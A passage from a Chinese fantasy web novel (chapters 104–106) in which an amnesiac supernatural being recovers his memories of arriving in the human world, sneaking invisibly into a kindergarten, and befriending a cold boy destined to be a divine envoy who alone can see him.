就在这时,身后的楼梯台阶,上一幕出现的少年平静地走了上来。 第三幕。 又换了一个男人。 他又在一张床上坐着,被子凌乱,不像只被他一个人躺过,而他的心情似乎并不好。 第三个男人推门而入,怀中捧着一捧漂亮灿烂的花,脸上带着笑来到他面前。 中途他们似乎说了什么。 那个男人失神片刻,盯着他说:“我真的喜欢你。” 枣芩茫然又不敢置信,快要震惊晕了。 这是他的记忆吗,怎么有三个男人啊。 他是这样的人吗?像、像他在觉醒的那个吸血鬼副本网上刷到的。 养鱼的海王。 第104章 第 104 章 幼儿园版芩芩 枣芩的震惊没持续多久, 这些画面涌现后,紧接着,所有记忆恢复只是一瞬间的事。 像是一把关键的钥匙, 严丝合缝插入锁孔, 轻巧一转。 里面封存的一切就再也按捺不住, 汹涌而来。 · 高楼林立, 车流不息。 才早上八点,天亮不久。身为全球都能排得上号的繁荣之地, 这座城市已经彻底苏醒, 忙碌起来。 一条并不在中心区的马路,各式车辆也同样接连不断, 不乏豪车。 城市车辆多,对匆忙行人来说,实在不是好事。 绿灯时间短暂,得加快脚步紧赶着才能走完斑马线。 “诶!车!” 一只泛着年龄痕迹但并不乏保养的手, 猛地伸出,抓住前方要往马路上走的清瘦少年, 快速往回一拽。 面前不远处,立刻“刷刷”驶过去一辆接一辆的车。 她家里也有孙子,看到这种小孩行走在危险边缘,后背就一阵阵发慌发怵, 不由得代入到自己家孩子身上, 随后心里又后怕又怒。 禁不住声音都有些尖锐道:“看不到红绿灯啊,红灯停、绿灯行都不知道?眼看着都变成红灯了还走?” 被他拽得踉跄一下的少年转过头,一张素白茫然又漂亮过分的脸。 早晨阳光照耀,琥珀色的眼睛宛如清透安静的湖水,挽一捧, 一定是透明清凉的。 他略微歪了下头,睫毛不解地眨动,又转头去看红绿灯。 她不禁愣了愣,含着怒色的眼底闪过惊艳之色。 生活在这座城市,年纪又摆在这里。她在时代变迁中见过的美人如过江之卿。 这一瞬间不由得感叹,这孩子长得无可指摘,父母得长成什么样子,才能生出这样的漂亮小孩。 她孙子就是演员,从小学习就吊车尾,吊儿郎当的性格,就脸遗传的不错,还就一下红了。 这小孩进去,哪怕性格是个木头都能红。 她回过神,清了清嗓子,语气温和许多,语重心长道:“孩子,以后不能这样了。你说你万一被撞了,受个伤,你家里人怎么办?那不得伤心死了。” 少年盯着她的嘴唇,认真聆听。 等她说完,才像是许久不说话了,迟钝说:“我不会受伤,也没有家人。” …… 不得不说,少年认真的神情,让她短暂相信了一秒,“孤儿?” 少年思索一下,“嗯。” 一看就不像。 他的模样气质,全散发着他没有吃过生活苦的事实,一定是被精心照顾的。 她只当他和家人吵架了,在赌气,“发生什么都还是得回家去,是不?家人是这个世界上最爱你的人。” “……” “还有啊,要看红绿灯,不然警察叔叔把你抓住关起来,你后悔都没办法了。” 少年听到抓住关起来,眼睛不敢置信睁大一些,身体绷紧,连忙摇头,“不会了!我会看、灯的。” 这是他来到这个世界的第一天,明白了这个世界有人叫“警察”,如果他做错事,就会把他关起来。 精神隽铄的奶奶又和他说了很多话,带他去了附近的饮料店。 他第一次喝到这种东西,奶奶问他好不好喝,他不知道什么是好喝,只是很新奇,他迫不及待就喝完了一杯,舔着自己的嘴唇。 奶奶还问他叫什么名字。 名字他是知道的,有几个人一起死掉之后,经过他身旁的时候,他听到他们叫对方特定的称呼,那就是名字。 他想了想,蹙着眉,十分认真地给自己想名字,半天才说:“我叫qinqin。” “qinqin,哪个qin?金字旁的钦,还是草字头的,还是其它的?” “我喜欢草。我也非常喜欢树。” “你这孩子,所以是哪个呀?”她觉得好笑,边用手示意边说:“下面一个斤数的斤?还是今天的那个今。” “今天的今!”他喜欢这个。 芩芩开心的想,他也有属于自己的名字了,像人一样。 他叫芩芩。 奶奶最后非要送他回家,要把芩芩送到家人身边才安心,他才赶紧找个机会偷偷跑走。 天色渐沉,路上的人越来越少,他独自在路上游荡,观察这个世界的夜晚。 有好几个人来找他说话,还说要给他找地方睡觉,他都拒绝了,因为他一点都不困。 没想到居然有人非常热情地要把他往车里拉,在那人握着他手臂用力时,他顿时恼火,拒绝了好几次,那人就是不听。 他一个不小心,动了一点能量,把人拽出来摔飞出去了,那男人瞬间晕过去。 想到警察的存在,芩芩在原地转了两圈,小跑过去,把对方拖进车里。 确定人没死后,才心虚地离开。 他不能干涉人的生死命运,这是他从诞生起、还没意识的时候就知道的事情。 两天的时间,芩芩就发现他遇到的大部分人他都不太喜欢,但也有一部分人他是喜欢的。 也正是有讨厌的人,他发现自己遇到喜欢的人才更喜欢。他把每个人都珍贵地放在心里,想到他们存在,看这个世界的天空都感觉格外地漂亮。 不远处停下一辆比别的车都更大的车,看起来很特别。 停下后,一群头戴小黄帽的小人跟着一个大人身后下来,芩芩瞬间被吸引了注意。 他不远不近跟在小黄帽队伍旁,有好几个小人扭头看他。 队伍陆续进门,芩芩也想跟着进去,却被保安拦在门外,说要进去需要里面的人来接他。 隔着门,他看到里面有滑滑梯、橡胶马之类的好多玩具,色彩缤纷目不暇接。 几个小人玩得“咯咯”直笑,开心得不得了。 芩芩心里羡慕,慢吞吞走开,把唇瓣咬磨得嫣红,独自走到无人看到的墙角。 若是此时有外人,就会看到少年转瞬间变得透明,彻底消失在原地,连影子都不剩。 幼儿园装修温馨,外墙是米黄色点缀着蓝色,顶部是童话般的棕色屋顶。 地面铺满塑胶,教室干净宽阔。 一间正在上课的教室,几乎没人发现,门悄无声息地打开,又关上。 教室最后一排的角落里,坐着一个眉眼冷淡,年纪小小就可以看出五官立体的男孩。 他面无表情地翻看着本外语书,忽然看书的视线停了停。 芩芩放眼望去,整个教室,只有一处有空位。 他蹑手蹑脚坐下,椅子摩擦地面低低发出一声响,他顿时僵住,好在并没人注意到他。 芩芩小小呼出一口气,眼神亮晶晶地看着黑板。 “春游结束啦,同学们这节课的任务是做有关春天的画,谁做的最好会贴在学校展示哦。”年轻的女老师双手合十,语气温柔对着小朋友们道。 小朋友们开始叽叽喳喳讨论。 “安静一下,老师还没说完呢。” 老师的话并没有让小朋友们安静下来,他们兴奋地交头接耳,混杂着几声叫声。 芩芩侧头去看,他的同桌没有像其他小孩一样兴奋,板着张脸,明明是小屁孩的长相,偏偏没有小朋友的幼稚气息。 听到班级同学兴奋的声音,嘴角撇了撇,有些看不上似的。 “安静!!!”稚气的声音忽然扯着嗓子大喊,班级里的同学被震慑到,真的安静下来。 芩芩抿住嘴巴看过去,前排最中间的小男孩站着,怒气冲冲地对着他们,“老师说了安静你们听不到吗?!非要让老师哭着走了你们才开心吗?” “……老师你不要哭。”坐在那男孩身后的女孩距离最近,明显震慑效果也最强,愧疚地看着讲台上的老师,脸委屈瘪着,“我们再也不说话了。” “……”讲台上的老师面色尴尬,忙说:“老师没有要哭啊,也没有生气怪你们。” 转而又对着站起来的男生说:“王子同学,谢谢你啦,你先坐下吧。” 王子同学这才一屁股坐下,桌椅摩擦地面发出愤怒的声响,他腰背挺得板正,双手叠在身前。 芩芩全程看着,眼底惊讶又崇拜,王子同学简直太勇敢了。 芩芩想着,如果是他,他肯定不敢这么当众站起来为老师伸张。 他也学着王子的坐姿,挺直腰背对着讲台,只是身体在矮小的桌椅中,多少有些拘束。 “现在老师要讲话喽,大家安静好不好?” 没人看得到他也听不到他,芩芩也不羞,跟着小朋友们喊:“好——” 身边的同桌手撑着下颌,忽然冷冷地轻“嗤”了声。 芩芩朝他看了眼,要不是对方一直盯着书,他都怀疑对方是在对着他冷笑了。 事实上,对方应该只是看到了好笑的东西。 芩芩试探着探身凑过去。 他眼睛一痛,啊,上面全是小蝌蚪语一个都不认识,还是算了吧。 “过几天呢,我们要排练一个节目,上周大家都说想演白雪公主对不对、” 教室的议论声又控制不住了,小朋友们激动不已,桌子吱吱呀呀地叫。 年轻的女老师苦涩地笑了下,这次连她的得力干将,王子同学也不为她摇旗呐喊,转头去跟刚刚才敌对的小女孩说话去了。 她放高声音说:“大家想演出的可以报名,再选主要角色。” 变小比隐身消耗的能量更多。 这是老师走后,变成小孩的芩芩心里暗暗估算的。 老师人一出门,教室内大部分小朋友都往前去,聚在了王子同学身旁,他挺胸抬头跟个骄傲小公鸡似的。 “我就是王子,你们谁要当我的公主啊?” “我!” “我我我,我家王妈说我是最漂亮的公主!” 王子:“她骗你的。” “你才骗人,我要告诉王妈,呜呜呜呜呜……” “哭起来更不像公主了,你别哭了。”他看向其他人,视线在一张张脸上扫过,认真筛选最漂亮最有魅力的公主。 · “歪,你看得见我吗?”变小版的芩芩对着身旁的冷漠小孩探头,故意凑到他脸前盯着他看。 对方的表情纹丝未变,跟雕像似的还在盯着书。 芩芩自言自语,“还在隐身吗。” 他没发觉,教室一直在唧唧咋咋,讨论公主的那伙小孩,没再发出声音。 芩芩低头看自己的手,正面反面。 ——确实变小了。 “喂。”清脆幼稚的男孩声音近在耳畔。 芩芩看到一双小孩的腿,微仰起头微张着唇看他,都不知道他们什么时候来到的自己身边。 “你叫什么名字?”王子咳嗽一声问。 他站得直直的,心脏砰砰直跳,不知道这个同学是什么时候来的。 还没等对方说出自己的名字。 王子已经迫不及待,一锤定音,“你是我的公主了!” 芩芩慢半拍说出:“芩芩。” 第105章 第 105 章 公主 其实王子平时称得上一个精致有教养的小男孩, 仪态板正,衣着讲究。 家庭富裕,对他的教育上也半点没敷衍。 老师们对他的评价基本都是——除了有点小骄傲以外, 他是个彬彬有礼的小男孩, 并不任性。 一定不是出自过分溺爱的家庭, 而是立了规矩, 认真教导。 比如,他妈妈就曾经教过他。 表达喜欢的方式有很多种, 不能随便亲别人, 尤其是第一次见面的陌生人。 他当时也举一反三问妈妈,“我才不会亲别人!可别人亲我怎么办啊?” 妈妈摸着他的脑袋, 表情认真对他说:“更不行了,要是他们亲了你或者让你亲他们摸他们什么的,要立刻大喊让旁边的大人知道,之后一定要告诉妈妈, 懂了吗?” 他当时答应妈妈了。 可是—— 公主坐在座位上,坐姿和他一样端庄优雅, 和别的同学都不一样。 略仰头,小巧白皙的下巴上扬,漂亮的眼睛眨巴看他,睫毛很长, 盖在眼尾忽闪忽闪。 真的就像童话故事中走出来的公主, 此时是在等待他的行动。 王子咬咬牙,心里的那点拉扯的纠结,本就细微,此时更是烟消云散。 他还给自己找了个相当合理的理由。 如果公主是他未来的老婆,就像爸爸妈妈那样, 就可以亲了呀! 从想到妈妈的教诲,到他闭上眼睛,噘起嘴俯身上前,王子只用了两秒。 他想象中,在众多配角面前,两个主角梦幻美好的接吻并没有发生。 他扯着脖子不断地向前,活泛的思绪使他无暇注意周遭声响,撅起的嘴巴迟迟碰不到任何东西。 王子眉头一皱,试探地睁开眼皮。 只见本该在他面前的公主,不知什么时候后退了一大块,连椅子带人都到了他那个哑巴同桌身旁。 公主还扭过头去看,只留给他一个后脑勺。 根本还来不及奇怪他和公主的距离问题。 毫无表情态度冷漠的路人甲,收回了在公主椅子下的手,淡淡瞥了王子一眼。 “蠢货。”轻飘又锋利的声音落下,哪怕声音被他刻意放得平直,依旧挡不住他属于小孩的事实。 一个蠢货砸过来,王子反应了两秒,才有了实感,瞬间满脸通红,“你、你、骂我干什么?” 他还从来没被人这么骂过! 祈斯越居然敢骂他蠢货! 可对方侧脸轮廓淡漠,垂头看着书,稍长的刘海垂在额前,好像刚刚把人椅子往他那边拉的不是他,骂人的也不是他。 也完全没把王子的质问看在眼里。 莫名被骂还被忽视。 王子声音气急败坏地放大,身体颤抖,“你就是个哑巴,大家都知道,老师叫你你连话都不会说!你凭什么骂我?” 可他用尽全力想出来的词,对祈斯越竟毫无攻击力,对方连一眼都没给他,他的愤怒和空气没两样。 王子牙齿紧咬:“……” “我爸爸妈妈都没有骂过我,我肯定告诉我妈妈,你给我等着。” 一句狠话过后,空气死寂。 班里的同学都被镇住,安静无声。 芩芩被夹在中间,缩手缩脚,一脸懵地看着眼前的一切,脸上写满无措。 他松开攥着的手指,已经反应过来刚刚王子想干什么,也明白他误解了。 审时度势片刻,才小小声开口解释说:“我的名字叫芩芩啊…嗯,你是不是听错了?王子。” 两个人大眼瞪小眼。 王子眼皮乱跳,脸上像是被涂了红色水彩颜料,还揉了个透。本就红的脸,一瞬间更红了,但这次是羞的。 复杂的情绪搅和起来,他又羞又恼,憋出来一句,“我知道!我知道这是你的名字,我亲你是因为、、王子亲公主是很正常的!” 他扭头,用那张猴屁股脸对身后的同学,“你们没看过书吗?王子亲公主是很正常的!是吧?” 稚气的两道声音前后说。 “……嗯,白雪公主就是!王子亲了公主,公主就活了。” “睡美人也是。” 王子得到了同学的支持,下巴抬起一些,委屈又固执地看着芩芩,“我亲你是正常的。” 芩芩没这个概念,也没看过他们说的书。但看王子快要哭了,正准备说“噢”。 “他是男的,不能当公主。”身后一道平静的声音再次击溃了王子的防线。 王子肩膀跟着身体起伏,大喊道:“我不管!他就是我的公主——!” 他被教养的再好,也就是个五岁的小孩。 王子情绪爆发,眼底隐隐晕开湿意,泛着红,马上就要凝结成泪珠。 芩芩看得心慌,连忙站起来,“你不要哭,我是公主,你不要哭了呀。” 芩芩怎么也没料到,他安慰的话一出,王子的脸丑丑地皱起,眼泪‘刷’就掉了下来。 同学们乱成了一锅粥。 叫老师的,安慰他的,还有指责祈斯越的。 对于这样混乱的场面,芩芩全然陌生,手足无措,根本不知道怎么应对。 感受到一道视线,他转头刚好与祈斯越对视上,祈斯越眸子黑漆漆的,深不见底。 仅一秒,他就挪走目光,继续看那虫子爬一样的外国书。 原来他看得到我啊,只是单纯的不理我。 好冷漠的同学。 老师提前拿出王子公主的皇冠,本来应该过几天演出用的,为了哄王子,给他们俩一人一个戴上。 王子看着芩芩头上的皇冠,混杂着眼泪的大红脸上,嘴巴一咧,又丑丑地笑了。 女老师看着芩芩,觉得陌生,只当是别班的小朋友。 芩芩毫无破绽地混迹在小豆丁中,来到院子。 他终于玩到了期待的滑滑梯,畅快地玩了一下午,直至气喘吁吁。 一男一女两个年轻老师走过来,手中拿着整包的湿巾,拆开挨个给小朋友擦脸擦手。 芩芩排在队伍中间,很快就轮到了他。 他来到老师面前,像别的小朋友一样,举起脏兮兮的小手。 湿巾轻柔地擦过他的手心手背。 有点痒痒的。 男老师坐在小板凳上,抬眼空隙间,看到小孩的长相,略微错愕几秒。 芩芩很听话,已经乖乖的闭上了眼睛,等着擦脸。 湿巾擦拭过他的额头,柔软的黑发被不知道是汗水还是湿巾染湿,有那么几缕粘在白皙额头上。 男老师擦完,才转头问一旁的女老师,“这个孩子是哪个班的?不是我们班的吧。” 女老师扭过头,“诶,我也不知道,刚下课那会我就看见了。” 芩芩听着他们的对话,睁开了眼睛,身体发僵,感觉不太妙地视线乱转。 男老师温柔地问他,“小同学你是哪个班的?” 枣芩眨眨眼睛,开始装傻,抿住嘴巴。 这个学校这么多小朋友,老师不可能每个都记得吧,他们的注意力不在他身上的时候,他悄悄逃走应该就可以了。 “不记得了吗?你一般都去哪个教室啊?” 芩芩安静得像是一个精致的瓷娃娃。 “等会我去问问别的老师。”女老师拍了拍男老师的肩膀道。 芩芩准备趁机偷溜,万万没想到,老师直接给他找了个小板凳,让他坐在身旁看着。 芩芩试探了几次都没能走掉,两个老师带着他问了一大圈,没一个班级有芩芩这个小孩。 “妈呀……什么情况。”两个老师不敢置信地对视一眼,看向芩芩。 他们只能联系校长。 中年女校长沉稳的声音透过手机,落入芩芩耳中。 “没事,不用担心,是多了个孩子又不是丢了个孩子。我已经报警了,先等警察过去,我马上去学校。” 警察!!! 芩芩属于小朋友的白嫩手指,紧紧攥住了自己的裤子,心虚不已吞咽口水。 老师的电话一挂。 芩芩就仰着头,脸上憋红说:“老师,我要上卫生间!” 面对与小孩身体完美契合的芩芩,老师怎么不会想到,其实他不属于这个世界。 想来想去只觉得可能是哪个家长粗心,发生了意外。 男老师带着芩芩去了卫生间,像对其他小孩一样打算进去陪他,芩芩摇头如拨浪鼓,连连拒绝。 “这么有隐私观念啊。”老师弯腰嘱咐他,“有事情叫老师。” 芩芩乖乖地点头,可爱又乖巧,男老师没忍住摸了摸他的头。 十几分钟后。 急促的脚步声从卫生间出来,奔向监控室。 几个老师围在监控器前,男老师眉头皱得死紧,面色发白。 就像校长说的,多出一个小孩跟少了一个小孩儿是不一样的性质。 而监控就那么巧的,在小孩进卫生间后就失去了画面。 他也并不知道,此时他的身边,有一个隐身的小孩,正在满脸内疚地对着他说“对不起。” · 校长比警察早到。 她也没想到短短一会时间,小孩没了。 警察应该快到了,他们又该怎么解释,她并不想给她的学校惹上事端。 男老师坐在座椅上,焦躁的情绪从每一寸散发出来。 校长见状,尽量稳住他,“没事,小孩本来我们学校的,有什么可慌的,实话实说就行了。” 办公室的门被敲响,她说进来。 来人是黑色制服的保安,她刚要问是不是警察来了。 保安身后有人探出头,雪白脸上一对含着歉意的琥珀眼。 随着保安进入办公室,少年的全貌展露出来,青涩白瘦,跟春天保存极好的一捧雪,有些不切实际的好看。 此时他脸上挂着浓浓的愧疚。 身旁的女老师忽然吸了口气,顿时反应过什么,对着校长说:“校长,应该是家属。” 长相完全就是放大版的那小孩,不管是弟弟还是哥哥,这样的人只要见过一眼就不会忘记。 校长老师紧绷的神经在听到少年一句句解释后,随之长长松了口气。 原来是让小朋友在幼儿园旁边等一会,小朋友不知道怎么溜进来了。 家长在他们幼儿园找到人就带走了。 可能是小孩太小,走出去时没发出声音,也没引起男老师的注意。 这解释不合理的地方很多,但没人想细究。 除此之外也没有第二个解释了。 校长坐回椅子上,手扶了下额头,没忍住说:“你父母也真是的,简直粗心大意。完全可以和保安说了下,让保安看着,把小孩落在门口算什么。” 芩芩红着脸道歉,她就一句指责的话都再说不出了。 少年说希望不要批评老师,他弟弟经常来无影去无踪。 自己惹的祸自己就要承担责任。 芩芩出了校门,在门口找了个靠墙的地方,坐地上缩成一小团,抿着嘴巴埋头在膝盖。 他决定一直隐身了…… 人类世界是挺好玩的,这里有太多新奇又神奇的东西,奔跑着的汽车,手中发光的盒子等等,每一个都让他大开眼界。 可是几天过去。 他此时此刻只有一种这么大的天地,却只有他一个人的感觉。本该有趣的一切都因为这种感觉而消减吸引力。 这或许就是曾经有一次,听到有人说的孤独感。 他一个人好孤独。 幼儿园很快到了放学时间。 校门口豪车络绎不绝,被家人接出来的小朋友一个又一个上车离开。 芩芩还看到了王子。 他被一个打扮温柔的女人牵着手。 他激动又兴奋地抬头说话,喊女人妈妈,说他今天遇到了他的公主。 他妈妈应和着,询问公主叫什么名字。 芩芩就在距离他不远的墙边,王子没有朝他这边看过来一眼,他才想起来自己现在是隐身状态。 他没有一个合理的身份在这个世上,也没人认识他,没人看得到他。 原本拥挤的车辆随着时间的流逝,逐渐驶离。 芩芩正准备离开去往新的地方,一辆黑色的车行驶而来。 这辆车为什么没有和别的车一起来? 他站在原地好奇地打量,司机下车开车门,一个身材高大五官立体的男人出来,一身剪裁得体的黑西装,面上带着点疲惫。 他们很快进了幼儿园,再次出来时,芩芩看到了他认识的人。 ——他的冷漠同桌。 接他的应该是他爸爸,眉眼轮廓很相似。 祈斯越面无表情跟在他爸爸身后,他爸爸似乎伸手想牵他的手,祈斯越视若无睹。 不知道是错觉还是真的。 芩芩总觉得祈斯越朝他的方向看了一眼,虽然只是一瞬间。 芩芩搓搓脸,脑子里忽然萌生出一个想法,不知真假,但足以让没有目标的芩芩改变原本的方向。 祈斯越好像能看到他。 为了验证自己的想法,他快速闪身,和祈斯越一起上了车。 后座除了祈斯越还有他爸爸,已经有两个人,但肯定能坐得下芩芩这个小孩。 可碍于这两个人都看不到他,没一个人试图给他让出点位置,导致他坐哪里都感觉有点挤。 芩芩咬着嘴唇犹豫一下,选择了坐到祈斯越和车门之间的位置,挪挪屁股调整姿势看向窗外。 他还是第一次坐在车里,原来是这种感觉。 车内气氛凝固,父子俩并没有像王子和他妈妈那样,闲聊今天学校发生的事情。 祈斯越靠着座椅,眉头略微不耐地皱着。 明明是个小孩,却总板着张脸。 “今天心情不错?”他父亲侧头问他。 祈斯越没有回答,他也不尴尬,像是早就习惯了自家儿子的态度。 “哪里不错?”芩芩小声嘀咕,探头认真观察着祈斯越,他眉头皱得更紧了,明明看起来心情很差的样子。 像是有人欠了他很多钱。 祈斯越闷闷问:“哪里不错?” 芩芩竖起耳朵准备听,祈斯越和他的脑回路是一样的,他也想听听他爸爸是怎么看出他心情不错的。 “靠你爸这么近,应该算不错吧?”他道:“爸爸今天有工作实在太忙了才迟到。” 祈斯越:…… “给你买了最新款的游戏机,昨天就到家了,玩了吗?” 祈斯越:“无聊。” 父子俩的相处模式实在有点奇怪,和芩芩这几天观察到的其他父子都不同。 他们家也是芩芩没有见过的豪华宽敞,还有一个庭院。 芩芩亦步亦趋跟在祈斯越身后,四处张望,假装自己是一个被邀请而来的客人,才不是偷偷进来的。 他们干什么他也跟着干什么,吃饭的时候他就坐在空余的椅子上,可惜没有人给他饭吃。 芩芩其实不饿,但想尝尝,犹豫一下,他自己溜到厨房去,寻觅了一点东西吃。 等他吃完从厨房出来,祈斯越早就不知所踪。 他在原地呆滞住了,他还等着看祈斯越的游戏机呢! 芩芩只能跟着他爸爸,他发现这个成年人无聊的很,坐在书房办公桌前就不动了。 他在屋内观察一圈,没一会,往沙发上躺倒,迷迷糊糊就没了意识。 不知过了多久,一阵敲门声忽然响起,把芩芩从睡梦中叫了起来。 他连忙坐起身,睡眼惺忪揉了揉眼睛,顶着蜷缩睡乱的头发。 “斯越,怎么了?找爸爸有事?”祈闻曜露出个笑容,都有点受宠若惊。 祈斯越走进书房,“没事,看你在不在。” 说完,他转身就走了。 看他要走,芩芩连忙坐起身,跟上祈斯越,他才不想和无聊的中年男人再待在一起。 他想看看最新款的游戏机长什么样子! 这房子是真的大,其实刚刚芩芩不是没有想过找他,只是找了好几个房间,都没有看到他,就放弃了。 根本不知道祈斯越在哪里,才选择和他爸爸待在一起。 跟着祈斯越上了三楼,一进卧室,芩芩就看到了桌子上摆放的游戏机。 游戏机连包装都还没拆,他立马上前去,眼睛亮晶晶地左看右看。 祈斯越上了床,低头看着手机,手指在屏幕上乱划。 余光看着那个身影,他正好奇地戳着游戏机包装,连睫毛眨动的频率都能看得出他对游戏机的喜欢。 祈斯越心里冷哼了声。 笨蛋,跟着他都能跟丢。 第106章 第 106 章 你为什么都不敢看我?…… 祈斯越稍稍举起手机, 按下拍摄键,照片中除了他熟悉的房间布局外,并没多出什么东西。 人类的相机捕捉不到鬼魂。 祁斯越若有所思, 关掉手机的同时, 细小的声响传来, 他随即看过去。 被称为“公主”的小鬼背对着他, 在沙发上全心全意地摆弄着游戏机,连他发出了声响都没注意到, 更别提发现屋内另一个人正在盯着他了。 他显然对游戏机这种东西好奇又陌生, 脑袋晃来晃去折腾,半天没有拆开。 祈斯越沉默看了片刻, 表情有些嫌弃地起身下床。 芩芩余光瞥到祈斯越,他已经站了不知道多久了,芩芩登时被他吓了一跳,浑身僵住, 缓缓抬眼对上祈斯越那双黑漆漆的眼睛,僵硬地眨巴几下睫毛。 祈斯越果然能看到他。 芩芩张嘴, 下意识要说什么。 这时,祈斯越的手越过他,拿起游戏机。 冷酷又沉闷的小孩坐在他身旁,眉眼低低沉沉, 手中的剪刀剪开包装纸, 把游戏机取出来。 芩芩绷着的肩膀顿时泄了气。 还好还好,原来是来找游戏机的。 祈斯越看起来再稳重,在人类世界也就是个小幼崽,睡不着还要起来玩游戏。 芩芩一点也没想到,如果按有意识来到人类世界算, 他是个比祈斯越要小更多的幼崽。 游戏机连接偌大的屏幕,黑色的屏幕瞬间亮起光,出现开机图标。 芩芩目光被屏幕吸了过去,好奇地睁大眼睛,眼底倒影着屏幕上的光,闪烁着亮晶晶的光彩。 祈斯越手中操控着游戏机,嘴角微不可察翘起一点弧度。 他选了玩过的一款赛车游戏,当芩芩面玩了一局。 他早就对游戏腻了。在明白他们的原理后,游戏在他这里就失去了魅力,但此时此刻被注视着,游戏又忽然变得有趣起来。 芩芩对绚烂刺激的画面很入迷,根本不舍得眨一下眼睛,呼吸绷住,一错不错盯着。 一局结束,操作者面无表情,看的人倒是心潮澎湃到脸颊红彤彤。 芩芩吞咽口水,调整了下身体,转头满眼催促对着祈斯越,期待他快点开下一把。 游戏太好玩了。 哪怕他自己根本没上手,但看着祈斯越超越一个又一个的车辆,心里激动雀跃。 可身旁的祈斯越不合时宜站起身,表情淡淡的,“还是一个人舒服,要是有别人在还得戴上耳机,戴上耳机就只有自己能听到声音。” 他拿起桌子上白色的耳机,又放下,“过几天再买个黑色的耳机。” 随后祈斯越就转身上床去睡觉,连屏幕都没有关。 “怎么就不玩了呀?”芩芩嘟囔一句,抿着嘴巴,把自己摔在沙发上,心里生出意犹未尽的失落。 视线在床上背对着他睡觉的祈斯越看了两秒,又看着桌子上的耳机。 他心脏蓦然砰砰跳起来,立马坐起来。 芩芩心里计算时间,恨不得祈斯越立刻深深入睡。 估摸着祈斯越真的睡着了,芩芩才轻手轻脚去确认,在他耳边用气音喊他名字,以免太大声反而把睡着的祈斯越叫醒。 确认后,他速度缓慢又小心地拿起这触感特别的游戏机,手都有点颤。 · 祈斯越的身体一阵沉重,眉头忍不住蹙起,他睁开眼起身,滞愣了片刻。 这种感觉太过陌生,有记忆起,这是第一次,另外一个人躺在他的床上。 床帘缝隙透进来光线,他得以看到刚刚趴在他身上的“鬼”。 此时仰躺、嘴唇微张着,他的长相柔和没有攻击性,两颊有微鼓的婴儿肥,一看就是会被老师同学喜欢的类型。 清醒时总是不知所措颤动的睫毛,乖巧盖着。 祈斯越因为别人躺在他的床这个事实,忍不住离远一点,又靠近。 他告诉自己他是想把这个“鬼”,挪到旁边去,伸手触碰到的那一刻,才发现自己可以摸到他。 他的脸是软的。 是有温度的。 祈斯越看着指尖,僵了僵,整个手摸了上去。 不是鬼。 或许是什么精怪,就像故事里,那些化成人形的动物。 兔子,猫,老虎,狼等等。 时间久了都能修炼成人形。 它们生活在深山老林,活很久依旧像个天真的小孩也不是完全没可能性。 虽然他依旧觉得不太现实,也没想通他旁边的“人”到底是什么。 就像往常的每一天,又好像有什么不一样了。 他熟练地洗漱、换衣服。 心里没放下对芩芩是什么的思考,他一点都不害怕,不管对方是什么。 芩芩知道他的身份,或许才会被吓到…… 坐在教室座位上,他无意识皱眉,幼稚地希望时间流逝变快,他第一次想快点回家,这种感受很微妙,让他心里有种说不出的感觉。 忽地,有个只有他能听到的声音冒出来,“你想和他交朋友?” 祁斯越心里回答:……没有。 不等对方再说什么,他立刻接着:我还没见过精怪而已。 对方没再说什么,祈斯越已经习惯了。 对方总会忽然冒出一句话,又忽然消失。 没有想当朋友,就算忽然消失了,对他也不会有半点影响的。 “少爷,怎么了?你找什么,我来找吧?”李阿姨跟在臭脸小孩身后。 祈斯越刚回来还没什么问题,照往常一样独自进房间。她切了新买的水果沙拉上楼,就看到祁斯越挨个开房间门,一间一间在找着什么。 这对于向来早熟冷静的小大人来说,是个难得一见的场景,她立马下楼通知了张阿姨。 两个中年女人纳闷地跟在祈斯越身旁。 祈斯越抬眼看向她,要说什么,闭上了嘴。 不行,她看不到的。 “游戏机而已,我忽然想起是我收起来了。”他回了句。 张阿姨恍然看向李阿姨:“噢,昨天带回来的那个。” 李阿姨:“是吗?不需要帮忙吗?” 祈斯越点头,接过李阿姨手中的水果沙拉,“我回房间了。” 走了就走了,本来也不是一路人,他的身份就代表着他与世缘浅。 一出生他母亲就难产离开,他父亲对他看起来也算尽职,会隔三差五想要和他沟通感情,从没亏待过他。 换一个普通小孩,大概会依赖这样的父亲。 但他不是。 一切他都记得很清楚,看到的第一缕折射的光,第一句声音,别人在他面前说过的每一句话,每一个表情。 太清晰了。 记忆力浅薄,大概是上天对幼童的礼物,这让他们可以在童年相对快乐。 这是神使的天赋。 那个声音是这么说的。 他的使命是长大后,负责管制所处区域,维持运转。 目前这片区域的神使还在,他长大的那天,是对方升职的那天。 “你不需要朋友,也不能有朋友,你不能对任何人有任何多余的情感,这对别人是不公平的。” 他能理解,所以他才想,那对方是个孤魂野鬼或者妖精呢。 算了。 “你刚刚是在找我吗?”身侧一道惊讶的含糊声音响起,藏着压不住的喜悦。 祈斯越心弦如有实质般崩断,猝不及防,猛地后退两步,看到了芩芩。 芩芩手捧冰激凌,一只手送到嘴里,把勺子上的冰激凌吃下去。 眼睛眨了眨,也怔愣了,见到他的反应不由得激动了,“你真的在找我啊!” 祈斯越胸膛一起一伏,属于儿童的脸上迅速泛起一片铺天盖地的红,端着水果沙拉的手抑制不住的轻颤。 “你果然看得到我,你就是能看到我!”芩芩逼近他,凑到祈斯越面前,笑着歪头晃脑。 仿若一道从树叶罅隙间漏下来的光,刚巧照在祈斯越脸上了。 祈斯越竟然一句话都说不出来了。 “那你为什么要装作看不到我的样子啊?”也等不到他的回答,芩芩自言自语,“你是不是害怕我,才装作看不到我的?” “不是、”祈斯越稳住了自己的表情,眼神飘到手中的水果沙拉。 他不害怕。 “不怕我,你为什么都不敢看我?”芩芩略弯腰去看他,漂亮的眼睛与祈斯越对上一瞬。 祈斯越顿了秒,快步走向书桌,将水果沙拉放在桌子上。 他的书桌很大,除了放置电脑,还有很大的空间用来做别的事情。 芩芩又往嘴里送进一勺冰激凌,跟在他身后接着问:“不过你为什么能看到我啊?别人都看不到我。” 祈斯越坐在椅子上,从书包里拿出自己的作业本,竟开始写作业。 随着手中一笔一划落下,他紧绷的呼吸跟着放松。 “你又在干什么啊?”芩芩的声音凑在祈斯越耳畔,好奇地询问他。 祈斯越眼神不抬:“写作业。” “作业?这是什么?你昨天没有写。”芩芩回忆了下。 祈斯越:“昨天没有。” 芩芩:“哦!这样啊。” 芩芩看着好像要花很长时间的样子。 他手臂撑着身体,轻快地坐到桌子上,垂眼边吃冰激凌,边看祈斯越写作业,小腿微微晃着。 人类小孩回家还要写作业,就是在本子上写写画画。 知识点又加一。 